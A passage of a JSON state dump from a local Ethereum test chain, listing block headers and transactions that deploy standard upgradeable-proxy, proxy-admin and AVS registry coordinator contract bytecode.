0x3","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x7529d088a3ba4413d2b586df694e7c548f6c308de92dadae24c8f3c957cf265","s":"0x32a3ee44e10f787805cc8fc748a6012682270d130f7f4dc9c9e6d8811b647656","yParity":"0x0","hash":"0x3a179753e0b4c5cdd52b7b5c560acb08426c4082500c676cea02d0cc9a77beff"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x4","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x4cc5ca3f812ba8e95262f1e2df592a4ec982b98788174457612455c73b075801","s":"0x5d99ad3199270ceafd4b197dc3cb09a473991b43aa003d2873f74c7b9297e4d0","yParity":"0x0","hash":"0xf51ba3a09c1a6df85d2e7e2f400e1425162aa0427b009dc971dc33fdc2a02278"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x454a079130975a1d475405c53560eb89b5146084b223a2b600398f54750c5d4a","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xeaf1b0bfd6d8003d3645222214b7a1d252f16b5bb883ba769bffdc9858af8836","transactionsRoot":"0x7f59802787f38feebe012813d02d2e47d626800414b255107e99d1322503fc8f","receiptsRoot":"0x2bb2403f19597d172b2cc8aa1599893e87e720894fcbc5e61d614f615aefd879","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x1","gasLimit":"0x1c9c380","gasUsed":"0x6c389","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x0","gas":"0x8ca6a","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033","r":"0xf529bd4574ee32d87f5ab3a39890655f69fa18d58274d1bd433b35f7afab0675","s":"0x2ac4795bf6ca8693061e513e04a7ee9aa09e6666fc7b36f5eb36b261c6267fe2","yParity":"0x0","hash":"0xb67040237c5a060f35e1affe287ced14f9f791b93c70181084de7ef18010989e"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x4a979620565bfe97a5607de9791d44fe6f8f605f2ad6877c2f02fde835f49757","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x64448ecb3c1f46feca3e4911c7d35ada1351fc3c1ff616302123f64cf077a16c","transactionsRoot":"0xc9575abeafaf8946dc5aa3707476fcc5accadf0b8324165c3204d555b2b64c15","receiptsRoot":"0xce78afc0a11fef11eac844e0441c3996065fa5f440bcd97ad41abc04a1c150a1","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000001000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000","difficulty":"0x0","number":"0xa","gasLimit":"0x1c9c380","gasUsed":"0x4c4847","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x13b455e1","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2f","gas":"0x63232f","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6101c06040523480156200001257600080fd5b5060405162005cac38038062005cac833981016040819052620000359162000254565b604080518082018252601681527f4156535265676973747279436f6f7264696e61746f720000000000000000000060208083019182528351808501909452600684526576302e302e3160d01b908401528151902060e08190527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a996101008190524660a05287938793879387939192917f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f620001358184846040805160208101859052908101839052606081018290524660808201523060a082015260009060c0016040516020818303038152906040528051906020012090509392505050565b6080523060c05261012052505050506001600160a01b039384166101405291831661018052821661016052166101a0526200016f62000179565b50505050620002bc565b600054610100900460ff1615620001e65760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101562000239576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146200025157600080fd5b50565b600080600080608085870312156200026b57600080fd5b845162000278816200023b565b60208601519094506200028b816200023b565b60408601519093506200029e816200023b565b6060860151909250620002b1816200023b565b939692955090935050565b60805160a05160c05160e05161010051610120516101405161016051610180516101a0516158e8620003c46000396000818161074e0152818161118101528181611f5c01528181612b9a015281816132a701526136c101526000818161069301528181611ee70152818161238601528181612b1a015281816131fe015281816133ef015261364001526000818161065901528181610f5401528181611f2501528181612a9c01528181612c8201528181612cfc0152818161317e015261373d015260008181610571015281816129f201526130c601526000613944015260006139930152600061396e015260006138c7015260006138f10152600061391b01526158e86000f3fe608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614600565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614650565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614683565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a919061469e565b61033e6105ed3660046146f6565b611068565b6106056106003660046144fc565b61143e565b60405161036a9190614799565b61033e6114b2565b610494610628366004614683565b6001805460ff9092161b9081161490565b61033e61064736600461481e565b61157e565b600154610360565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6103b1610689366004614474565b6115d8565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b61033e6106c3366004614852565b611602565b61033e611757565b6103606106de366004614909565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614aa7565b6117d9565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614ba0565b611af2565b61036060a05481565b6107c66107c1366004614c48565b611c57565b60405161036a9190614ced565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d37565b611d06565b609c54610360565b61033e610823366004614e1d565b611d6c565b61033e610836366004614fda565b611d7f565b6108aa610849366004614683565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150ae565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150bc565b60405180910390fd5b60005b82811015610a48576000848483818110610990576109906150f3565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614761565b6002811115610a0157610a01614761565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a716150f3565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614761565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061514f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615162565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b81526004016109689061517f565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151c9565b610da95760405162461bcd60e51b8152600401610968906151eb565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e966150f3565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b5050505060